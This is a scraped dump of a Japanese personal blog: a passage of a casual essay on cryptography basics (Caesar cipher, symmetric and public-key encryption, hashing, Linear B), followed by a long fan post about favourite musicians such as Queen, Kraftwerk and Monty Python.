エニグマと天才数学者の秘密」を見てください。\n史実とは異なる箇所も多いんですが、概ねの雰囲気は掴めるのとベネディクト・カンバーバッチの演技を楽しめるのでおすすめです。\n計算機で自然言語を表現する方法 ここでちょっと話が横道に逸れます。\nというのも、コンピュータがどうやって英語や日本語などの文章を扱うのかという話をしたいからです。\nまず、コンピュータは本質的には0と1しかない世界で生きていますが、我々が2や3と呼んでいるような2以上の数も扱えます。\n0と1だけで2以上を表現することを2進数と言います。\n2進数の説明をすると基本情報技術者試験対策記事になってしまうので割愛します。コンピュータは2以上も分かるんだな、くらいに考えていただければ十分です。\nそしてコンピュータで英語や日本語を表現するために、各言語の各文字に数字を割り当てます。\nつまり、記事の最初の方で例として出した\n「あ」を1、「い」を2、「う」を3という風に順番に数字を割り当てるというルールを作っておくと、「あいうえお」や「こんにちは」などの色々な文章を数字で表現できるみたいな感じです。\nということをやります。\nどの文字にどの数字を割り当てるかのルールは種類がたくさんあり、それらを総称して文字コードと呼んでいます。\nコンピュータを使っていると時々文字化けが起こるのは、文章をやりとりする端末同士で違う文字コードを使ってしまっているからです。\nちなみに、数ではないものに数を割り当てるという考え方のベースとしてゲーデル数というものがあるんですが、話が大脱線するのでここでは割愛します。\nこのようにして人間の言葉をコンピュータが扱えるように数字にすると、大きな利点が1つあります。\nそれは、数学の世界に落とし込むことができるという点です。\n数学の世界に落とし込むと何が嬉しいかというと、なんかいい感じに複雑なことができるようになります。何だこの説明は\u0026hellip;\n私は数学徒ではないのでふんわりした説明しかできないんですが、計算という手順を踏むことでエニグマの比ではないほど複雑な処理を施せるようになります。\n共通鍵暗号と公開鍵暗号 話を暗号に戻すんですが、コンピュータ普及以降の近代的な暗号は説明がとんでもなくめんどくさいのでざっくり省略します。\nここでは共通鍵暗号と公開鍵暗号という2つの分類があるよという話だけします。\n共通鍵暗号 ヴィジュネル暗号の項目で、文字を変換する際に定めたルールを鍵と呼ぶという話をしました。\n暗号化する人と復号する人で同じ鍵を使うやり方を共通鍵暗号と呼びます。\nヴィジュネル暗号とエニグマは共通鍵暗号です。\n事前に何らかの方法で、暗号化する人と復号する人同士で鍵を教え合う必要があります。\nまた、この鍵は秘密にしておく必要があります。鍵がバレると誰でも復号できるようになってしまうからです。\n公開鍵暗号 共通鍵暗号に対し、暗号化する人と復号する人で異なる鍵を使うやり方を公開鍵暗号と呼びます。\nそんな事可能なのか！？と一瞬思うんですが、数学パワーを使ったりすると可能になります。\n代表的な例では素因数分解の困難性を利用するんですが、当然説明が難しくなるのでここでは割愛します。\n公開鍵暗号の利点は、暗号化に使う方の鍵は不特定多数にバレても問題がないということです。\n暗号化するための鍵をA、復号するための鍵をBとします。\nまず、暗号文が欲しい人が鍵AとBを作り、鍵Aだけを誰でも見れる所に公開して「私に暗号文を送る時はこの鍵を使ってね！」とお願いします。\nそれを見た他の人が鍵Aを使って文章等を暗号化し、暗号文を送ります。\n受け取った人は秘密にしている鍵Bを使って暗号文を復号します。これで暗号通信は完了です。\n攻撃者は鍵Aと暗号文を知ることはできますが、復号するための鍵Bを知らないので解読できません。\n共通鍵暗号に必要な、事前に何らかの方法で秘密裏に鍵を教え合うという手順を省けるのが嬉しいポイントです。\nちなみに公開鍵暗号のアイディアを利用して電子署名というものもできるんですが、暗号の話からはちょっと逸れるのでここでは割愛します。\n暗号ではないけど暗号のように見えるもの 暗号については喋りたいことをだいたい喋れたので、ここでは一見暗号っぽくみえるけど実は暗号ではないものの話をします。\nハッシュ 暗号文から平文へ戻せないようなものは暗号と呼べないという話の例として、ハッシュの話をします。\nあるデータからある程度短い値を生成するハッシュ関数というものがあり、ハッシュ関数により生成した短い値をハッシュ値と呼びます。\n例えば こんにちは と書かれたテキストファイルをMD5というハッシュ関数に与えると f5271ace09a56600e1cef7663d932807 というハッシュ値を得られます。\nまた、元データが完全に同じ場合にしか同じハッシュ値を得られないという特性があります。2\nハッシュ値 f5271ace09a56600e1cef7663d932807 を得られるのは、元データが こんにちは と書かれている時のみということです。\n見た目的にも、違う文章は必ず違うハッシュ値になるという特性を考えても、ハッシュ値はちょっと暗号っぽく思えます。\n普段ハッシュ関数を扱うことはあんまり無いかと思いますが、人間の身体に似たようなものがあります。指紋です。\n指紋は一人ひとり異なり、同じ形の指紋を複数の人間が持つことはありません。3\nそのため、ある人がどういう形の指紋を持っているかという情報をあらかじめ知っていれば、机に付いた指紋を調べるだけでその人が触ったということが分かります。\nしかしそのような情報を知らない場合は、その指紋は持ち主を推測できない暗号のようなものになります。ちょっと説得力に欠けますがそういうことにさせてください。\nハッシュ値の話に戻ります。\nハッシュ値は暗号文のように見えますが、暗号文ではありません。\nなぜならハッシュ関数は元データからハッシュ値を生成することはできますが、ハッシュ値から元のデータを復元することはできないという特性を持つからです。4\n暗号と呼ぶには暗号文から平文へ復号できることが条件であり、ハッシュ関数やハッシュ値はこの条件を満たさないということになります。\n暗号ではありませんが、このハッシュというやつは結構便利なのでコンピュータの世界でよく使われています。\n未解読言語 一般的に、人間が話す言語は暗号ではありません。\nですが、その言葉が表す意味を理解できる人がいなくなってしまえば暗号のようなものになります。\nその一例が線文字Bです。\n線文字Bは紀元前にギリシア本土とクレタ島で使われていた文字ですが、長い間未解読言語となっていました。\n最終的には1952年にアマチュア研究者のマイケル・ヴェントリスによって解読されましたが、その解読プロセスは暗号解読に通じるものがあります。\n私は線文字Bが本当に大好きなんですが、この記事は古代言語ではなく暗号がテーマなので詳細は割愛します。\n興味のある方はぜひ線文字Ｂを解読した男―マイケル・ヴェントリスの生涯を読んでみてください。新品はもう書店に無い可能性が高いんですが、大きめの図書館とかに置いてあるかもしれません。\nおわりに いっぱい喋れて満足しました！\n暗号はとても楽しい分野です。理論としても面白いですし、実用的でもあります。\n今回は理論的なところはほとんどすっ飛ばして書きたいことだけを書きましたが、面白さが少しでも伝わったら嬉しいです。\n最後に参考文献のご紹介です。\nもし暗号についてもうちょっと詳しく知りたいなという方がいらっしゃいましたら、この2冊がおすすめです。\n『暗号解読』 サイモン・シン 著 かなり平易な言葉で書かれており、とても読みやすいです。\nサイモン・シンは難解に見えるテーマを分かりやすく扱うのが本当に上手い。\n概ね私の記事のちゃんとした版みたいな内容です。\nちなみにアニメ涼宮ハルヒの憂鬱で長門がこの本を読んでます。\nこの長門が読んでるよネタ、定番なんですがそろそろ通じなくなっていそうだな\u0026hellip;\u0026hellip;\n『暗号技術入門 第3版 秘密の国のアリス』 結城浩 著 ある程度前提知識がある人向けに書かれた技術書ですが、シーザー暗号などの歴史的な暗号も扱っておりとても丁寧に書かれた本です。\nコンピュータが扱う暗号技術について知りたければ、この本以上に分かりやすいものはないと考えています。\n25パターンでは？と思われる方もいるかもしれませんが、ここでは0文字ずらすという意味のない暗号化も含めて26としています。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nハッシュの衝突についての話はここでは割愛します\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n指紋の衝突についての話はここでは割愛します\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nレインボーテーブル等のハッシュ値から平文を割り出す手法についてはここでは割愛します\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://unigiri.gitlab.io/posts/i-love-cryptography/","summary":"\u003ch2 id=\"はじめに\"\u003eはじめに\u003c/h2\u003e\n\u003cp\u003eこんにちは。うにぎりです。\u003c/p\u003e\n\u003cp\u003eこれは\u003ca href=\"https://adventar.org/calendars/9950\"\u003e卓ゲ箪笥 Advent Calendar 2024\u003c/a\u003eの7日目の記事ですが、内容はボードゲームやTRPGに関係ありません。\u003cbr\u003e\n\u003ca href=\"/notes/my-favorite-songs/\"\u003e去年\u003c/a\u003eのような、好きなことを喋る記事です。\u003cbr\u003e\n今年は暗号について好き放題喋ります。\u003c/p\u003e\n\u003cp\u003e日程枠が1つだけ空いているので適当な記事で埋めようというモチベーション故に、推敲はほぼしないし口語で書きますしファクトチェックはしません。\u003cbr\u003e\nなんか同じ研究室の人が酒飲みながら適当言っとるわくらいの気持ちで読んでいただけると嬉しいです。\u003c/p\u003e\n\u003ch2 id=\"前提\"\u003e前提\u003c/h2\u003e\n\u003ch3 id=\"暗号とは\"\u003e暗号とは\u003c/h3\u003e\n\u003cp\u003eまずは言葉の定義から始めましょう。定義は重要。\u003cbr\u003e\n暗号とは文章をいい感じに読みにくくする手法の事です。\u003c/p\u003e\n\u003cp\u003e不特定多数に読まれたくない文章等がある時、大きく分けて2種類の対策方法があります。\u003cbr\u003e\nステガノグラフィーとクリプトグラフィーです。\u003c/p\u003e\n\u003cp\u003eステガノグラフィーは、文章の存在を隠す手法です。\u003cbr\u003e\nみかん果汁で紙に文字を書いた後に乾かすと、一見何も書いてない紙に見えるのに火で炙ると文字が浮かび上がる的なやつです。\u003c/p\u003e\n\u003cp\u003eクリプトグラフィーは、文章をそのままでは読めないようにする手法です。\u003cbr\u003e\n読めないようにした文章自体が存在することは不特定多数に知られてしまいますが、読むためにはその文章を読める形に戻す方法を知っている必要があります。\u003cbr\u003e\n元の文章を平文、読めないようにした文章を暗号文、読めないように加工する処理を暗号化、元の文章に戻す処理を復号と呼びます。\u003cbr\u003e\nまた、復号方法を知らない第三者が暗号文を平文に戻そうとすることを解読、そのような事をする第三者を攻撃者とこの記事では呼ぶことにします。\u003c/p\u003e\n\u003cp\u003e日本語で暗号と呼ばれているやつはクリプトグラフィーです。\u003c/p\u003e\n\u003cp\u003e余談ですが、暗号文から平文に戻せないようなものは暗号ではありません。\u003cbr\u003e\nつまり、ハッシュ値は暗号文ではないということです。ハッシュとは何かは後で書きます。\u003c/p\u003e\n\u003ch3 id=\"暗号の種類\"\u003e暗号の種類\u003c/h3\u003e\n\u003cp\u003e暗号も大きく分けて2種類あります。\u003cbr\u003e\nコードとサイファーです。\u003c/p\u003e\n\u003cp\u003eコードは、ある文章等を別の言い方で表現したものです。\u003cbr\u003e\n我奇襲に成功せりをトラトラトラと言い換えたり、飲食業でお手洗いに行くのを4番と言い換えたりするやつです。\u003c/p\u003e\n\u003cp\u003eサイファーは、平文の内容に関わらず一定の手法で読みにくくしたものです。\u003cbr\u003e\nコードはあらかじめ取り決めた情報以外は表現できませんが、サイファーなら色々な情報を表現できます。\u003cbr\u003e\nちょっと例が難しいのですが、「あ」を1、「い」を2、「う」を3という風に順番に数字を割り当てるというルールを作っておくと、「あいうえお」や「こんにちは」などの色々な文章を数字で表現できるみたいな感じです。\u003c/p\u003e\n\u003cp\u003eこの記事では基本的にサイファーを扱います。\u003c/p\u003e\n\u003ch2 id=\"いくつかの暗号の紹介\"\u003eいくつかの暗号の紹介\u003c/h2\u003e\n\u003ch3 id=\"シーザー暗号\"\u003eシーザー暗号\u003c/h3\u003e\n\u003cp\u003e必要な言葉の定義が終わったので、そろそろ実際の暗号手法について喋ります。\u003cbr\u003e\nシンプルなものから始めます。\u003c/p\u003e\n\u003cp\u003e手法がシンプルで古くから存在し、とても有名なのはシーザー暗号です。\u003cbr\u003e\nカエサル暗号やシフト暗号とも呼ばれたり、英語だとROTと呼ばれたりします。\u003c/p\u003e\n\u003cp\u003eやり方はシンプルで、各文字をN文字分ずらします。\u003cbr\u003e\n仮に1文字分後ろにずらすケースで説明すると、aを1つ後ろにずらしてbに、bを同様にずらしてcに、cを同様に\u0026hellip;という処理をします。\u003cbr\u003e\n平文が \u003ccode\u003eabcde\u003c/code\u003e の場合は暗号文は \u003ccode\u003ebcdef\u003c/code\u003e になり、 \u003ccode\u003eHello, I'm Unigiri. Glad to have you here.\u003c/code\u003e は \u003ccode\u003eIfmmp, J'n Vojhjsj. Hmbe up ibwf zpv ifsf.\u003c/code\u003e になります。長文になるとだいぶ暗号文っぽく見えますね。\u003c/p\u003e\n\u003cp\u003eこの手法の弱点としては、頻度分析と全探索に弱い点です。\u003c/p\u003e\n\u003cp\u003eシーザー暗号では、ある文字は常に特定の文字に変換されます。1文字後ろにずらすケースでは \u003ccode\u003ea\u003c/code\u003e は常に \u003ccode\u003eb\u003c/code\u003e になります。\u003cbr\u003e\nつまり、例として平文中に \u003ccode\u003ea\u003c/code\u003e が20回登場する場合、暗号文中に \u003ccode\u003eb\u003c/code\u003e が必ず20回登場します。\u003cbr\u003e\n各言語にはたくさん使われがちな文字というものがあるので、この文字がたくさん登場しているということはおそらく元々はこの文字で\u0026hellip;みたいな感じで推測しながら解読できます。\u003c/p\u003e","title":"暗号について語る記事"},{"content":"これは 卓ゲ箪笥 Advent Calendar 2023 5日目の記事です。\n4日目はもぐくん☆さんのMリーグ（麻雀）についての考察でした。\nはじめに 今年もアドベントカレンダーの季節がやってきましたね！\nうにぎりと申します。\n今年の9月26日に 箪笥 で私が以下のような画像を投稿しました。\nhttps://tablegame.mstdn.cloud/@unigiri/111127497256650263\nこれは寝られないのでなんとなく作った好きな音楽アルバムのコラージュ42枚です\nアルバムのコラージュ画像 好きなものを語るのに、誰がコラージュ画像だけで満足するでしょうか。\nというわけで、これは私の好きな曲について満足するまで語る記事です。\nコラージュ画像で挙げたアーティストについて、特定のアルバムに限らず語ります。\n注意事項 この記事は長いです 好きなものについて語る文章は勢いが大事だと考えているので、あえて推敲しません。\nそのため、この記事はとても長くなる可能性が高いです。\nこの文章を書いている時点では全体の文章量がどの程度になるかは未定ですが、参考までに去年の記事 ニムト(6人プレイ版)で勝ちやすくなるコツ はきちんと推敲して不要な文を削りました。\n追記: 28,000字くらいになりました。\nこの記事は読みにくいです 句読点や改行に全く気を使わず書いているため、この記事は読みにくいです。\n適宜読み飛ばしたりしてお楽しみください。\nこれは曲をおすすめしたり解説したりする記事ではなく、私が好きなように語るだけの記事です つまり、そのアーティストや曲を知らない人のための基本的な説明を必ずしも行うわけではないということです。\nアーティストのジャンルや来歴等の基本的な情報は、各アーティストの公式ページをご参照ください。\nまた、隙あらば自分語り(以下、隙自語)はなるべく控えるよう心がけていますが、好きなように語る都合上多少は混入しています。\n目に余る場合、適宜読み飛ばしてください。\nこの記事には特定の宗教や思想等について何らかの主張をする意図はありません この記事内のいくつかの曲は特定の宗教あるいは思想について言及しますが、その曲を通じて私が何らかの主張を行う意図はありません。\nなぜこの注意事項が必要かというと、記事内で Monty Python について言及するためです。\n記事内のリンクについて 記事内で言及する曲がYouTubeの公式動画として公開されている場合、その動画へリンクを貼ります。\nよろしければ、ぜひ聴いてみてください。\nTL;DR (曲だけ聴きたい人へ) 記事内の公式動画をまとめた、YouTubeのプレイリストを作成しました。\nhttps://www.youtube.com/playlist?list=PLzmsa-PnB9sEZhjHIA0zCYcp76vEg7KLk\nまた、前述のコラージュ画像の42枚のアルバムのうち、ストリーミング配信されているものをまとめたSpotifyプレイリストも作成しました。\nhttps://open.spotify.com/playlist/3NUVVOo17GAGjcdY8mY4sw?si=0717eaf5b2674c6c\nここから本編です ここから先は「めっちゃ好き！！！！！」「良い！！！！！！！！！！」「生まれてきてくれてありがとう！！！！！！！！」くらいしか言いません\nマキシマム ザ ホルモン 初っ端から曲のリンクを貼れない！！！！なぜならホルモンは基本的にYouTubeや曲のストリーミング配信をしていなからです\nホルモンめっちゃ良くて、良い もう語彙力が無くなっちゃった\n歌詞は聞き取れないけど歌詞を聞き取る必要がある曲ではないので問題はないです\nチェンソーマンのED曲めーーーーーーっちゃ良かったですね、あの作品の世界観に本当に合ってた\n私ドラムのナヲさんがめちゃくちゃ好きなんですけど、歌声 本当に かわいい\n爪爪爪のMVのチャイナめっちゃかわいい めっちゃ似合う\nホルモンの曲が入ったiPod Classicが失われて久しいので、色々思い出しながら話すしか無いんですが\n当時何をよく聴いてたっけ、川北猿員とかROLLING1000tOONとか\n今ディスコグラフィーを眺めていたらロッキンポ殺しのアルバムを特によく聴いていた\nこのアルバム名曲しか入ってないな このアルバムに限らずホルモンには名曲しかありませんが\nここからは隙自語なんですが、コラージュの最初になぜホルモンを持ってきたかというと音楽を積極的に聴き始めたきっかけだったからです\nそれまでは観ているアニメの主題歌とか流行ってそうなやつとかを聴いてたんですが\n高校の文化祭でホルモンのコピーバンド(かなり出来が良かった)を聴いて「こんな音楽があるのか！！！！すご！！！！」と思ってその足でそのコピーバンドに「ファンになりました、次のライブも行きます」と言いにいったらそれが解散ライブだったらしくショックを受けながらオリジナルのホルモンのアルバムを揃えました\nアニメ主題歌起因以外の音楽を積極的に漁るようになったのはその時からだったと思います 多分\n石野卓球 生まれてきてくれてありがとう！！！！！！！！！！！！！！！！静岡の国宝！！！！！！！テクノの申し子！！！！！！！！！！！！！！！！！\n石野卓球って凄くて、凄すぎて今「凄くて」と書いた所で続く言葉が思い浮かばなくて手が止まりました\n凄い以外にここで必要な言葉があるか？それだけで十分では？\n石野卓球という生き様に私が何か言及するのって無粋なのでは？\n石野卓球個人名義で好きな曲なんですけど、WIRE TRAX 1999-2012のsuck me disco (takkyu i. rmx)とかTITLE#2+#3のThe Rising Suns (Discotheque)とかACID TEKNO DISKO BEATzのJackTaroとかLUNATIQUEのAmazonesとかめっちゃ好き\n卓球が作る曲ってかなり卓球で、何が言いたいかというと使っている音やそのタイミングとかで「卓球らしいな」と思うことが多い\nSIRENの曲ですら途中からいつもの卓球になって安心感を覚えてしまう\nなんでそう思うかは音楽的知識が無いので言語化できません\nこどものおもちゃの後期OPのウルトラリラックス、アニメOP曲として元々かなり昔から知ってたんですが石野卓球プロデュースと知ったときには完全に卓球じゃんと膝を打ちました\n卓球歌唱Verが出ても違和感なく受け入れるであろうくらい歌詞が完全にそれ\nMVは数はそんなに公開されていないものの、Rapt In Fantasy (Radio Edit)のMVとかめっちゃ好き\n家電が名画のコスプレをしていて、見ていてめっちゃ面白い クセになる\n私は名画よわ勢なので元ネタは3つくらいしか分からない\n1つ後悔していることとして、テクノを好み始めたのが最近(当社比)なので気付いたときにはもうWIREの開催が終わってたんですよね\u0026hellip;\u0026hellip;\nなんか石野卓球主催のテクノの大規模イベントだったらしいんですが、詳細はここでは省きます なぜなら行けなかったのであんまり詳しくなくて書けないから\nあと、もう公開が終わっちゃったけど卓球が関わってた関西電気保安協会のCMめっちゃ良かった センスの塊\n米津玄師 (ハチ) ハチーーーーーーーーーーーーーーーーーーーー！！！！！！！！！ハチありがとう！！！生まれてきてくれて！！！！！！！！！！！\nこれは古参オタクマウントなんですが、結ンデ開イテ羅刹ト骸の頃からずっと好きです\nニコニコの本人手描きMVめっちゃ良いよね ゴーゴー幽霊船とかめっちゃ好き\n米津玄師名義でボカロ曲のセルフカバーしてくれるの本当に感謝しか無い YANKEEの最後にドーナツホールがあることに気付いた時は驚きと喜びで頭が真っ白になった\n古参オタクマウントをせずに今の米津玄師の話をしろ はい\nでも今の米津玄師を語るのに言葉ってそんなに必要なくて「全部名曲」で済んじゃうんですよね\n特に良いのは\u0026hellip;\u0026hellip;なんだ\u0026hellip;\u0026hellip;？？全部良いんですが\u0026hellip;\u0026hellip;\nBremenのNeon Signとシンデレラグレイは特にめっちゃ好き LOSERも好き！！！！！！！！\n米津玄師になってからはクセが強い曲が減った印象が私の中であるんですが、死神は珍しくクセ強で特別にめっちゃ好き\nクセが強くない曲も強い曲も全部好きだし、全部ひっくるめて米津玄師という名の1つのクセなんだけど、米津玄師が誕生しなかったら類似の曲すら生まれなかったであろう曲がいくつかあるんですよね\nそういう曲を吸うために私は生きてます\nKraftwerk またテクノだ なぜならテクノが好きだからです\nもうめっちゃ王道 テクノといえば？と聞かれたらKraftwerkですと答える程度には王道\nThe RobotsとかThe Man Machineとか王道の中の更にド王道の曲も好きなんですが、Tour de Franceのアルバムに入っている曲とかAutobahnとかの何時間でも聴いていられるゆったりした曲が特に好き\n今聴いたらTour de Franceに入ってる曲は特別ゆったりしてるわけではなかったけど、なんというか、何だ\u0026hellip;？ こう、爽やかな流れがある\nTour de Franceってアルバム1つで1曲として完成してるんですよね 12曲全部ひっくるめてTour de Franceという名の1つの曲\nそういうことです\nKraftwerkってドイツのグループなんですけど、Dentakuっていう日本語歌詞の曲があってめっちゃ良い\n英語版がPocket Calculator、ドイツ語版がTaschenrechner、日本語版がDentakuという名前でメロディは同じなんですけど、日本でライブしてくれる時に最初は英語版で途中から日本語版にシフトしてくれたりして、もうテンション上がりまくり\nあとこれはKraftwerk繋がりの別の作品の話なんですけど、ウィッチクラフトワークスというアニメがKraftwerkのアルバムジャケットをいくつかオマージュして、それがめっちゃ良くて 良い\nオマージュ画像が これ でオマージュ元が これ と これ です 良すぎ！！！！！オタク大歓喜！！！！！！\n何が言いたいかというと、他作品にオマージュされるくらい王道だということです\nQueen やっぱQueenなんだよな！！！！！！！好き！！！！！！\n有名すぎてもはや私が言及する意味が全く無いんですが、あえて何か言うとしたらQueenの中でもコラージュ画像で挙げたQUEEN ROCK MONTREALはQueenのライブの中でも抜群の完成度で好き\nQueenの曲の中ではデビュー曲のKeep Yourself Aliveが好きなんですが、今までこの曲が一番好きだという人に会ったことがない 良い曲だよね？良い歌詞だよね？\n歌詞が本当に良くて、和訳は英語つよ勢の人たちの記事を参照してください\n後ろ向きな前向きというか 高望みするな、身の丈を知れ、まずは生き抜け、持てる全てを使ってなんとか生き抜け って良いよね 人生は生き延びるだけで大変なので\n他の曲だとBring Back That Leroy Brownとか好き\nQueenの曲って挙げようとすればWe Will Rock YouとかBohemian RhapsodyとかDon\u0026rsquo;t Stop Me NowとかKiller QueenとかSomebody To LoveとかSave Meとかの超有名曲が無限に出てくるんですが、Bring Back That Leroy Brownみたいな小粒でぴりりと辛いというか、B面みたいな曲もめっちゃ良いんだよな B面って何ですか？\nMVはこれは賛否両論かもしれないんですが、I Want To Break FreeのMVは私は賛の人です 好き\n中盤の謎パートも含めて好き まあこのMVに謎ではない箇所は無いんですが\nあとこれは完全にただのガチ恋ファンですが、ブライアン・メイがめーーーーーーーーーーーーーーっちゃ好き ギターの人です\n硬貨でギターを弾くとかかっこよすぎて困る\nあとこう柔和な感じとか、ライブ中でも落ち着いてるの好き過ぎる 動のフレディ、静のブライアンという感じ\n最近だとロンドンオリンピックでのパフォーマンスとかめっちゃ良かったねえ\u0026hellip;\u0026hellip;しみじみと良かった 2012年は最近であるものとする\nロンドンオリンピックの話はMonty Pythonの項目でまたやります\nNARUTO-ナルト- オリジナルサウンドトラック 急にアニメオタクになっちゃった\nでもこのサウンドトラックは私の人生の中ではかなり重要で、今テクノとかの歌詞が無い曲を平気で聴けるのって多分昔こういうアニメのサウンドトラックを死ぬほど聴きまくってたからなんですよね\nそしてアニメのサントラを聴き始めたきっかけはNARUTOです ありがとうNARUTO\nアニメとかゲームとかのサントラって曲単体としての良さもあり、なおかつその作品との思い出が付随してくるので良いですよね\n当時のわくわく感とか手に汗握る展開でのどきどきとか、そういうのがぐっと詰まっている\nMichael Jackson マイケル！！！！！！！！！！！！！！！！！！！好き！！！！！！！！！！こっち向いて！！！！！！！！！！！！！！\nでも悲しいことに、私がマイケル・ジャクソンにはまったのは彼が亡くなった後で\u0026hellip;\u0026hellip;\nそういうわけで私はマイケル・ジャクソンをよく知っているとは口が裂けても言えないんですが、良いよね 本当に好き\n作品に対する完璧主義な部分が好きというか、全てに完璧に気を使って精密に構築されてる感じが本当に好き\n一方でJackson 5時代に笑顔で踊ってるのも好きで、つまり全部好き\nJackson 5で特に好きなのは王道なんだけどI Want You BackとABCとThe Love You Saveで、王道すぎてこれはベストアルバムの1〜3番目の曲を列挙しただけになりました\nやっぱ王道が正義 大正義なんですよ\nMichael Jackson時代はこれも王道なんだけどThrillerは外せない 私の初めてのマイケル・ジャクソンはThrillerでした\nなぜ初めての曲を正確に覚えているかというと、通っていた中学校の英語の先生が半分趣味で授業中にMVを流したからです\n最初にMVを観た時本当に衝撃的すぎて、観ている最中に休み時間開始のチャイムが鳴ったのも全く気にならなかった\nあれは実質音楽の授業だった 隙自語やめろ はい\n他のMVだとSay Say Sayが好きで、これはポール・マッカートニーとのコラボ曲です\nなんかねえ、他のMVとちょっと毛色が違ってめっちゃ好き コラボだからかもしれない\n映像が平和でかわいい 雨に唄えばのドンとコズモみたいにコメディアン姿で踊る2人の映像を観られるのはここだけ！\n谷山浩子 しみじみと良い 本当に良い\nどこから谷山浩子を知ったかというのは「私はオタクです」の一言で説明できると思ってます\nヘタリアのフィンランド手描き動画めっちゃ良かった 良いよね 私は当時あれを観ていたであろう全てのヘタリアファンに話しかけています\nこれはヘタリアの項目ではないので谷山浩子の話に戻るんですが、明るくてかわいい曲も仄暗い曲も狂気の曲も全部好きなんですよね\n挙げたい曲は無限にあるけど、ホルモンの時と同様に谷山浩子も公式で上げてる曲が少ないのでリンクを貼れない\nキャンディーヌとかてんぷら☆さんらいずとかパセリ パセリとか三日月の女神とか小さな魚とかさよならDINOとか恋するにわとりとかめっちゃ好き\nあとヤマハ発動機社歌が特別好きで、これは元々曲名通りヤマハ発動機の社歌として谷山浩子が作ったんですが\nROLLY \u0026amp; 谷山浩子のからくり人形楽団でめっちゃかっこいい感じにアレンジされていて、良く、すごく よい\nアルバム版もすごく良いんですが、猫森集会という定期的に行われるライブがあり、そのバージョンが本当に良い ライブならではの良さがある\n猫森集会の話をするんですが、猫森集会って会場の中心にステージがあってそれを囲むように観客が座るので\nライブの雰囲気も相まって森の中で音楽好きの住人が好きに集まって合奏しているところにお邪魔しましたみたいな雰囲気があって本当に唯一無二 こんな感じです\n谷山浩子といえば谷山浩子のオールナイトニッポンというラジオ番組があり\nもし当時私が生きており自我があれば絶対に聴いたんですが、残念ながらまだ生まれていなかったので聴けませんでした なんて理不尽なんだ\nでも今は今で谷山浩子のSORAMIMIラジオをやってくれている！やったー！！！ありがとう！！！！！\n私が生まれるタイミングへの不満は他にもあり、後でほぼ同じ話を電気グルーヴの項目でします\nMonty Python コメディアンのグループです でも曲がめっちゃ良いんだ\nコメディに歌ネタってあるじゃないですか あんな感じでたくさん曲がある\nところでさっき谷山浩子の項目でフィンランドの話をしたんだけど、あの曲の元ネタはモンティ・パイソンです\nモンティ・パイソン 人生狂騒曲というコント集みたいな映画があり、映画の出来はともかく歌ネタがめっちゃ良い映画なのでその話をします\n世間一般的にはおそらく下ネタに分類されるんですが\u0026hellip;\u0026hellip;\nちなみにコントは正確にはスケッチと呼ばれているので、以降スケッチと呼び替えます\n\u0026mdash;\u0026ndash; ここから下ネタ \u0026mdash;\u0026ndash;\n映画の中にEvery Sperm is Sacredという曲があり、曲名を和訳すると「全ての精子は神聖なり」になるんですが、出オチではなく本当に良い曲と良い映像なんですよ 本当に\nミュージカル調に仕上がっており、キャストは全部で何人いるんだ？子役だけで多分数十人いる\n映画の予算をこれで大方食い尽くしただろうと思うほどの力の入りようで、大勢のダンサーが踊りながら全ての精子が神聖である旨を高らかに歌い上げます 好き\n馬鹿馬鹿しいだけではないんですよ なぜ精子が神聖なのかもちゃんと理由があるんですが、私は専門外なので語る口を持ちません\n今これを書きながら5回ほど映像を観ているけど全く飽きない 完成度が高すぎる\n\u0026mdash;\u0026ndash; ここまで下ネタ \u0026mdash;\u0026ndash;\n書いていて気まずくなったのでまともな方の曲の話をします\nモンティ・パイソンの曲で代表作といえばAlways Look On The Bright Side Of Lifeで、名曲すぎて10人いれば10人がまずこの曲の話から始めます じゃあなんでこの記事はそうしなかったんだ？\nこの曲も映画の歌ネタで、モンティ・パイソンのライフ・オブ・ブライアンという映画のラストの曲なんですけどめっちゃ良い曲なんですよ\n「いつも人生の明るい面を見よう」と映画内の主人公を元気づけるめっちゃいい曲 沁みる\n映画内ではどう考えても明るい面を見ている場合ではないシーンで歌われているので微妙に面白いんだけどそれがまた良い だってこれはコメディ映画だから\nここでQueenの時に話していたロンドンオリンピックの話に戻るんですけど、この曲も名曲すぎてロンドンオリンピックのパフォーマンスに選ばれています\nこれ良かったよね 本当に良かったんだけど知っている人がいるかよく分からないのでこれは自分自身に語りかけています\nエリック・アイドル作曲の曲は本当に良くて、Always Look On The Bright Side Of Lifeもエリック作で、あとはLousy Songとかが好き\nLousy Songはエリックが歌っている曲をバックにスケッチをやっている曲で\nグレアム・チャップマンが曲について「ひどい 最低 ゴミ これお前が書いたの！？この曲は駄目だ」とこき下ろしており大変良い 私は良い曲だと思うよ\nところでエリック・アイドルとグレアム・チャップマンはモンティ・パイソンのメンバーです\nグレアム・チャップマンの遺灰(偽)を使ったネタ良かったよね これも知っている人がいるか分からないので自分自身に語りかけています\nあと好きな曲といえばSit on My Face また下ネタ曲の話をしている\nスケッチの内容込みだとMoney Songも好き 真面目な金融番組の司会が一人でヒートアップして最終的にお金の曲を歌って踊りそのまま終わる 面白すぎる\nこのまま話を続けるとモンティ・パイソンの曲の話ではなくスケッチの話になるのでここで終わります\n良いスケッチがたくさんあって、ジョン・クリーズのキレ芸がめちゃくちゃ好きで\u0026hellip;\u0026hellip;\n電気グルーヴ 電気があればなんでもできる！！！！！今年のツアーのアンと匂いの樹、めっちゃ良かった\n電気めっちゃ良いんですが、全てが良すぎてどこから話していいか分からない 初期の曲と最近の曲でテイストがちょっと違うんですよね 初期のほうから話します\n電気グルーヴの名曲と言えばなんといってもShangri-Laなんですが、あの曲は実はMVが狂気でめっちゃ好き 卓球のマジキチスマイルが100点\n初期の頃はヒップホップっぽいというか、テクノっぽくない曲が多い印象 Shangri-Laだけ聴くとJ-POPだし\n電気ビリビリとかCATVとかBingo!とかCafe de 